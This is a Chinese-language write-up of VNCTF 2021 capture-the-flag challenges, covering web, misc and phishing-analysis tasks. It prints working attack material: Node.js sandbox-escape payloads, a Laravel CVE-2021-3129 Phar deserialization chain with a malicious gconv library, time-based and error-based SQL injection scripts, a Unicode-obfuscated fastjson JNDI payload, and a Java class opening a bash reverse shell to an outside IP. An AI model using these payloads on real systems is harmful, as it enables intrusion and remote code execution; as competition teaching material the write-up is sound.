VNCTF 2021

Ez_game

审计一下游戏的 js 代码。发现作为最终关卡的 boss 继承了 Kill 的方法。

Kill()
    {
        super.Kill();

        if (this.type)
        {
            boss = 0;
            if (isFinalLevel)
            {
                // player win
                new Pickup(this.pos, 2);
                SpawnPickups(this.pos,1,40);
                winTimer.Set();
                localStorage.kbap_warp=0;
                localStorage.kbap_won=1;
                speedRunTime=speedRunTime|0;
                if (speedRunMode && (!speedRunBestTime || speedRunTime < speedRunBestTime))
                {
                    // track best speed run time
                    speedRunBestTime = speedRunTime;
                    localStorage.kbap_bestTime=speedRunBestTime;
                }
                PlaySound(2);
            }
        }
    }

同时又有如下代码。

// debug key N to load next level
    if (debug && KeyWasPressed(78))
        loadNextLevel = 1;
 nextLevel = (nextLevel+1)%11

很容易看出总共有 10 关,因此在 Console 中令 debug=1 后直接一直按 N 跳到第十关,再执行 boss.Kill() 即可杀死最终 boss 获得 flag。

flag{this_game_is_funny!}

naive

文件读取

源代码页面审计到如下路由。

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});

尝试利用这个路由读取一些文件。使用 .../source?path=/etc/passwd 可以读到对应的文件,注意到下面两行,这说明很可能没有 bash。

node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
ctf:x:1001:1001:Linux User,,,:/home/ctf:/bin/ash

使用 .../source?path=/proc/self/cwd/package.json 可以读到如下内容。

{
    "name": "name",
    "version": "0.1.1",
    "description": "Description",
    "private": true,
    "main": "src/index.js",
    "type": "module",
    "scripts": {
        "start": "node src/index.js",
        "build:native": "node-gyp rebuild",
        "build:native:dev": "node-gyp rebuild --debug"
    },
    "dependencies": {
        "bindings": "^1.5.0",
        "express": "^4.17.1",
        "expression-eval": "^4.0.0",
        "node-addon-api": "^3.0.2",
        "seval": "^2.0.1"
    },
    "devDependencies": {
        "@types/express": "^4.17.8",
        "@types/node": "^14.10.1",
        "node-gyp": "^7.1.2",
        "prettier": "^2.0.5"
    }
}

结合源码中的 addon,bindings 和这里的 node-gyp 可以知道这题很可能涉及到 C++ 写的 NodeJS 模块。

参考文章:https://segmentfault.com/a/1190000016565228?utm_source=tag-newest

结合文章中的描述可以得知存在 binding.gyp 文件和编译之后的 addon.node 文件于 .../build/Release/ 下。使用一样的方法将其读取出来可以得到一个二进制文件。

二进制文件分析

再看源码,可以发现如下验证逻辑。

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e))));
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

只有想办法拿到 verify(code) 中正确的 code 才有可能 RCE,于是就要分析之前得到的二进制文件。这里拜托逆向大佬 @usher 对文件进行了动态调试,成功拿到了对应的字符串 yoshino-s_want_a_gf,qq1735439536

expression-eval eval

根据读到的文件可以知道作者使用了 "seval": "^2.0.1" 这个包,使用 NPM 查询可以找到这个包的源码。(虽然不知道到底在哪里用到了)

GitHub Repo: https://github.com/tritiumNetworks/SafeEval

稍微测试一下可以发现使用 (1)["constructor"]["constructor"] 可以导出一个 Function。此时就可以使用这个位置来进行指令执行了。构造出如下 payload 发现可以成功利用并弹出计算器。

const pkg = require("expression-eval")
const ast = pkg.parse('(1)["constructor"]["constructor"]("console.log(global.process.mainModule.constructor._load(\'child_process\').exec(\'calc\'))")()');
pkg.eval(ast);

但是在靶机环境中经过测试可以发现 requireglobal.process.mainModule 都是 undefined。因此无法通过导出 mainModule 的方式来达成指令执行。探索之后可以发现利用 global.process.binding() 可以导出任意存在的模块。

参考文章:https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html

尝试导出一个 fs 模块并利用其 readFileSync 的方法来读取文件,但是并没有成功。仅仅使用如下 payload 读到了根目录。

var a = this.constructor.constructor('return this.process.binding')()('fs').readdir('/', {}, "","", function (err, data) {data});
a;

e=(1)["constructor"]["constructor"]("return+String(eval(String.fromCharCode(118,97,114,32,97,32,61,32,116,104,105,115,46,99,111,110,115,116,114,117,99,116,111,114,46,99,111,110,115,116,114,117,99,116,111,114,40,39,114,101,116,117,114,110,32,116,104,105,115,46,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,39,41,40,41,40,39,102,115,39,41,46,114,101,97,100,100,105,114,40,39,47,39,44,32,123,125,44,32,34,34,44,34,34,44,32,102,117,110,99,116,105,111,110,32,40,101,114,114,44,32,100,97,116,97,41,32,123,100,97,116,97,125,41,59,10,97,59)))")()&code=yoshino-s_want_a_gf%2Cqq1735439536

.dockerenv,app,bin,dev,docker-entrypoint,etc,flag,home,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var

看题解学到了可以使用 import() 来引入模块,于是可以构造出如下 payload。

(1)["constructor"]["constructor"]('return+import("fs").then(fs=>{fs.copyFileSync("/flag","/tmp/tmpf1ag");})')()

使用 fs.copyFileSync() 将 flag 拷贝到 /tmp 目录下,从而使用第一步的文件读取操作读取到 flag。

flag{74840aad-bd02-4946-b8fc-23ef08db0cd8}

Easy_laravel

简单的漏洞复现

CVE-2021-3129

参考文章:https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

关键点在于 Controller 会调用到的 run() 方法。当走到 makeOptional() 方法的时候会触发到 file_get_contents(),此时便可以借助他去触发 Phar 反序列化。与此同时,传入的参数会出现在 log 中。配合 filter 的操作可以将 log 文件变成合法的 Phar 文件。

Phar 反序列化链子

简单搜索可以发现 MockClass.php 下出现了一个 eval。只需要控制 $this->mockName 为不存在的类并在 $this->classCode 中填充欲执行代码即可。

namespace PHPUnit\Framework\MockObject {

    final class MockClass
    {
        private $classCode;
        private $mockName;

        public function __construct()
        {
            $this->classCode = "phpinfo(); eval(filter_input(INPUT_GET,\"h3x\")); echo 'See you in the Unserialize!';";
            $this->mockName = "undefinedMock";
        }
    }
}

接着找一下可能触发上述 eval 的函数。可以在 HigherOrderMessage.php 下找到如下 __call() 魔法函数。此时控制 $this->mock 为一个 MockClass 对象,$this->method 为 generate 即可触发到上述 eval()

namespace Mockery {

    class HigherOrderMessage
    {
        private $mock;
        private $method;

        public function __construct($mock)
        {
            $this->mock = $mock;
            $this->method = "generate";
        }
    }
}

同时使用如下位于 ImportConfigurator.php 的析构函数可以轻松触发到上述的 __call() 方法,只需要 $this->parent 为 HigherOrderMessage 对象,此时其类下不存在 addCollection() 方法,即可触发到 __call()

namespace Symfony\Component\Routing\Loader\Configurator {

    class ImportConfigurator
    {
        private $parent;
        private $route;

        public function __construct($parent)
        {
            $this->parent = $parent;
            $this->route = "undefinedRoute";
        }

    }
}

找到了完整的反序列化链子,接下来只需要构造链子并打包成 Phar 就行。

namespace MakePhar {

    use Mockery\HigherOrderMessage;
    use Phar;
    use PHPUnit\Framework\MockObject\MockClass;
    use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;

    function MakePhar()
    {
        $mockClass = new MockClass();
        $higherOrderMessage = new HigherOrderMessage($mockClass);
        $importConfigurator = new ImportConfigurator($higherOrderMessage);

        $phar = new Phar("triggerLog1.phar");
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($importConfigurator);
        $phar->addFromString("exp.txt", "actuallyNothingHere");
        $phar->stopBuffering();
    }

}

namespace {

    use function MakePhar\MakePhar;

    MakePhar();
}

发射载荷

按照参考文章中的说法,需要先将 Phar 包转换成特定的格式,写一段脚本来达成这个目的。

function TransferEncodePhar($file){
    $raw = base64_encode(file_get_contents($file));
    $result = array();
    for($i = 0; $i < strlen($raw); $i++){
        $result[$i] = "=" . strtoupper(dechex(ord($raw[$i]))) . "=00";
    }
    return implode($result);
}

按照参考文章的姿势将 Phar 包传上去触发。此时即可得到一个一次可用的 eval()。此时将 Phar 包保存起来生成新的 Phar 包,在新的包中写指令将原本的 Phar 包写入新的 log 文件。

$triggerPhar1 = base64_encode(file_get_contents("./triggerLog.phar"));
$this->classCode = "phpinfo(); echo 'See you in the Unserialize!'; file_put_contents('/var/www/html/storage/logs/h3x.log',base64_decode('{$triggerPhar1}'));";

将新的 Phar 包以一样的套路上传,便获得了一个可多次执行的 eval(),此处为 h3x.log

伪协议 convert.iconv 触发

参考文章:https://xz.aliyun.com/t/8669

编写 payload.c 如下。

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("/readflag>/tmp/flag");
}

使用 gcc payload.c -o payload.so -shared -fPIC 编译出 payload.so。

构造 gconv-modules 如下。

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

将二者上传到服务器上获取直链,然后在上一步获取的 eval 处将内容下载到靶机上。

.../execute-solution?h3x=file_put_contents("/tmp/payload.so",file_get_contents("http://YOUR_HOST/payload.so"));

完成这一步之后使用 var_dump(scanfir("/tmp")); 应该可以得到如下结果。

array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(13) "gconv-modules"
[3]=>
string(10) "payload.so"
}

此时即可使用如下 payload 获取 flag。(这一步比较看运气感觉,多发亿包就能触发成功了 x)

.../execute-solution?h3x=putenv("GCONV_PATH=/tmp/");file_put_contents("php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/122","Hello!!!!!!!!!!!");

.../execute-solution?h3x=readfile("/tmp/flag");
flag{94a14bb8-a049-43e1-af25-250d51fdae1b}

realezjvav

SQL 盲注

笛卡尔积延时注入

参考文章:https://xz.aliyun.com/t/5505

朴实无华的登录界面,使用笛卡尔积注入试探可以发现差别。

password=a'/**/and(select/**/if((1=1),(select/**/count(*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B,information_schema.tables/**/C),1))#&username=admin

password=a'/**/and(select/**/if((1=0),(select/**/count(*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B,information_schema.tables/**/C),1))#&username=admin

如上的两个载荷在响应时间上出现了比较稳定的一秒钟左右的偏差,判断存在 SQL 注入。不过相差时间太短,将其中一个改作 information_schema.columns 来延长一点时间,写一个脚本来爆出所需内容。

import time
import requests

ENV = ".../user/login"
SESSION = requests.session()


def main():
    timeSpan = 2
    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            content = "select/**/database()"
            sql = f"null'/**/and(select/**/if((ascii(substr(({content}),{i},1))<{mid}),(select/**/count(" \
                  f"*)/**/from/**/information_schema.tables/**/A,information_schema.tables/**/B," \
                  f"information_schema.columns/**/C),1))# "
            param = {
                "password": sql,
                "username": "admin"
            }
            startTime = time.time()
            print("[+] POST startTime: {}".format(startTime))
            SESSION.post(url=ENV, data=param)
            endTime = time.time()
            print("[+] POST endTime: {}".format(endTime))
            if endTime - startTime > timeSpan:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()
创造条件的布尔盲注

通过尝试发现,当 SQL 语句报错的时候页面也会报 500 的错误,因此可以手动构造一个语句令结果为真或假时报错。这里以 cot(0) 为例子。

mysql> select if(1=1,cot(0),0) ;
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select if(1=0,cot(0),0) ;
+------------------+
| if(1=0,cot(0),0) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

利用这个特性可以人为地将真或假区分开来,从而实现 SQL 注入。同理,使用 exp(9999999999,9999999999) 这样的表达式也能实现相同效果。

import requests

ENV = ".../user/login"
SESSION = requests.session()

def main():

    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            # content = "select/**/database()"  #ctf
            # content = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()"  #user
            # content = "select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()"  #id,username,password
            content = "select/**/group_concat(password)/**/from/**/user"  #no_0ne_kn0w_th1s
            sql = f"null' or if((ascii(substr(({content}),{i},1))<{mid}),1,cot(0))#"
            param = {
                "password": sql,
                "username": "admin"
            }
            response = SESSION.post(url=ENV, data=param)
            if response.status_code == 200:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))


if __name__ == '__main__':
    main()

最终可以得到登录密码为 no_0ne_kn0w_th1s

文件读取

登录 admin 之后可以来到选头像的页面,在页面源码里可以发现如下内容。

$("#roleImg").html('<img style="width:180px;height:180px" src="/searchimage?img='+resObj.number +'.png"/>')z

尝试对这个路由使用目录穿越读取文件的套路,可以读取到 pom.xml。

/searchimage?img=../../../../../pom.xml

在 pom.xml 种可以发现如下关键依赖,版本为 1.2.27 < 1.2.47。于是考虑使用 fastjson 进行 RCE。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.27</version>
</dependency>

fastjson exploit

按网站的业务逻辑操作一次可以发现 .../create 路由传入的是 json,于是尝试将其作为利用点。

使用常用的 payload 打一发,可以发现需要 bypass。

尝试将 payload 的一部分字符使用 Unicode 编码以绕过关键字的过滤。得到如下的 payload。

{"\u006E\u0061\u006D\u0065":{"\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073","\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","dataSourceName":"\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0038\u002E\u0031\u0033\u0036\u002E\u0038\u002E\u0032\u0031\u0030\u003A\u0031\u0033\u0038\u0039\u002F\u0045\u0078\u0070\u006C\u006F\u0069\u0074","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true}}

参考文章:https://www.cnblogs.com/zpchcbd/p/11697706.html

在服务器上编译好如下 Exploit。

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/8.136.8.210/3255 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

再开启 HTTP Server 和 LDAP Server,同时使用一个 Netcat 监听反弹回来的 shell。此时将构造好的 payload 请求发送出去,即可在 Netcat 监听处获得 shell。cat /flag_no_one_know_abccba.txt 即可得 flag。

flag{20761f89-9ed6-444a-b4ba-2c717ca99e23}

使用如下的 payload 亦可达成目的。

{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","dataSourceName":"\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0038\u002E\u0031\u0033\u0036\u002E\u0038\u002E\u0032\u0031\u0030\u003A\u0031\u0033\u0038\u0039\u002F\u0045\u0078\u0070\u006C\u006F\u0069\u0074","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true}

相关部分的源码如下。

/* IndexController.java */
package com.example.springbootdemo.controller;

import com.alibaba.fastjson.JSONObject;
import com.example.springbootdemo.Util.FileUtil;
import com.example.springbootdemo.entity.Sorcerer;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;

import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.*;
import java.util.Base64;
/*
* @author no_one_know
*/
@Controller
public class IndexController {

    @RequestMapping("/index")
    public String sayHello() {
        return "index";
    }

    /*
    *@param img
    * */
    @ResponseBody
    @GetMapping(value = "/searchimage", produces = MediaType.IMAGE_PNG_VALUE)
    public byte[] t2(@RequestParam String img , Model model) throws IOException {
        String path = img.trim();
        File file = new File("/usr/local/springbootdemo/src/main/resources/static/images/"+img);
        FileInputStream inputStream = new FileInputStream(file);
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes, 0, inputStream.available());
        return bytes;

    }

    /*
    * @param roleJson
    * @return number roleText
    * */
    @PostMapping("/create")
    @ResponseBody
    public Sorcerer fast(@RequestParam String roleJson , Model model) {
        //System.out.println(roleJson);
        //blacklist
        String check = roleJson.toLowerCase();
       if ( check.contains("com") || check.contains("@") || check.contains("type") ){
            roleJson = "{\"name\":\"Hacker\"}";
        }

        JSONObject jsonObject = JSONObject.parseObject(roleJson);
        String name = jsonObject.getString("name");
        Sorcerer res = new Sorcerer();
        if(name==null){
            name = "";
        }
        Sorcerer  s = new Sorcerer();
        s.setName(name);
        s.setNumber(name);
        return s;
    }

}

冰冰好像藏着秘密

解压附件得到 FFT.png 文件(可能是下得太快了,下下来的时候是个 zip 文件,而且没有损坏。但是当时的图片里没得 flag,我还一度以为我傅里叶变换做错了。结果复现发现是附件变换过了。)CyberChef 直接对 RAR 压缩文档提取文件,得到一张图片。

参考文章:https://hicraigchen.medium.com/digital-image-processing-using-fourier-transform-in-python-bcb49424fd82

从网上找到的现成的代码如下。

import cv2
import numpy as np
import matplotlib.pyplot as plt

plt.figure(figsize=(6.4*5, 3*5), constrained_layout=False)

img_c1 = cv2.imread("extracted_at_0x47.png", 0)
img_c2 = np.fft.fft2(img_c1)
img_c3 = np.fft.fftshift(img_c2)
img_c4 = np.fft.ifftshift(img_c3)
img_c5 = np.fft.ifft2(img_c4)

plt.subplot(151), plt.imshow(img_c1, "gray"), plt.title("Original Image")
plt.subplot(152), plt.imshow(np.log(1+np.abs(img_c2)), "gray"), plt.title("Spectrum")
plt.subplot(153), plt.imshow(np.log(1+np.abs(img_c3)), "gray"), plt.title("Centered Spectrum")
plt.subplot(154), plt.imshow(np.log(1+np.abs(img_c4)), "gray"), plt.title("Decentralized")
plt.subplot(155), plt.imshow(np.abs(img_c5), "gray"), plt.title("Processed Image")

plt.show()

从图中可以看出 flag。

VNCTF{Ff5_1S_bEauTiful}

interesting_fishing

下载附件后使用 010 editor 打开可以发现是一个邮件文件,继而可以找到其中保存的 base64 形式的附件。将附件使用 CyberChef 解码并保存下来,得到 myproject.rar 文件。

将压缩文件解压可以得到一个项目,在其 VS 配置文件中可以发现如下内容。

<PostBuildEvent>
    <Command>powershell -exec bypass -w hi"dd"en -f x64\Debug\Browse.VC.db</Command>
</PostBuildEvent>

在压缩文件中对应路径下可以找到对应的 Browse.VC.db 文件,可以在压缩文件中直接打开,发现其中有如下内容。

$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes  = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); 
echo $decoded

使用 base64 解码后可得到格式类似于 .u.-.6.5.4.3.2.?. 的数据,推测其有点像 Unicode 字符编码,但是其为负数。写个脚本将其与 0xffff 做差得到正数。

var numbers = [-65432,-65420,-65420,-65424,-65421,-65478,-65489,-65489,-65418,-65426,-65437,-65420,-65434,-65491,-65486,-65487,-65485,-65491,-65487,-65486,-65483,-65481,-65488,-65482,-65487,-65487,-65486,-65485,-65490,-65437,-65425,-65421,-65490,-65439,-65424,-65491,-65426,-65439,-65426,-65430,-65431,-65426,-65433,-65490,-65427,-65415,-65423,-65437,-65428,-65425,-65419,-65436,-65490,-65437,-65425,-65427,-65489,-65456,-65415,-65425,-65426,-65433,-65415,-65439,-65426,-65433,-65499,-65486,-65488,-65421,-65420,-65425,-65422,-65435,-65421,-65499,-65486,-65488,-65428,-65425,-65417,-65499,-65486,-65488,-65425,-65426,-65499,-65486,-65488,-65434,-65425,-65422,-65435,-65431,-65433,-65426,-65499,-65486,-65488,-65433,-65425,-65425,-65436,-65421,-65499,-65486,-65488,-65439,-65427,-65431,-65436,-65499,-65486,-65488,-65458,-65425,-65422,-65420,-65432,-65499,-65486,-65488,-65461,-65425,-65422,-65435,-65439,-65426,-65499,-65486,-65488,-65469,-65457,-65450,-65463,-65468,-65491,-65487,-65479,-65499,-65486,-65488,-65424,-65439,-65422,-65439,-65426,-65425,-65431,-65439,-65490,-65422,-65439,-65422];
var result = ""; numbers.forEach(function(number){ result += "," + (0xffff + number + 1) });
result;

解码后可以得到如下内容。

https://vnctf-213-1257061123.cos.ap-nanjing.myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar

将文件下载下来,发现需要解压密码,ARCHPR 爆破无果但给出的提示确实是四位数字。

maskcode
The password is: four digits

因此尝试使用 rar2john 先得到密码的 hash,再使用 hashcat 爆破。

lenovo@LAPTOP-3E49IU3M>F:\..\..\..\..\run$.\rar2john '..\..\interesting_fishing\Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia.rar'
..\..\interesting_fishing\Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia.rar:$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e
.\hashcat64.exe -m 13000 -a 3 '$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e' ?d?d?d?d

$rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3bc58278b04d9fba4d7d52acb196$8$56245cd11e4a1c2e:9705

Session..........: hashcat
Status...........: Cracked
Hash.Type........: RAR5
Hash.Target......: $rar5$16$1349cb834c70bf27bb4e48bb3fbe6975$15$ca4a3b...4a1c2e
Time.Started.....: Mon Mar 15 18:10:13 2021 (2 secs)
Time.Estimated...: Mon Mar 15 18:10:15 2021 (0 secs)
Guess.Mask.......: ?d?d?d?d [4]
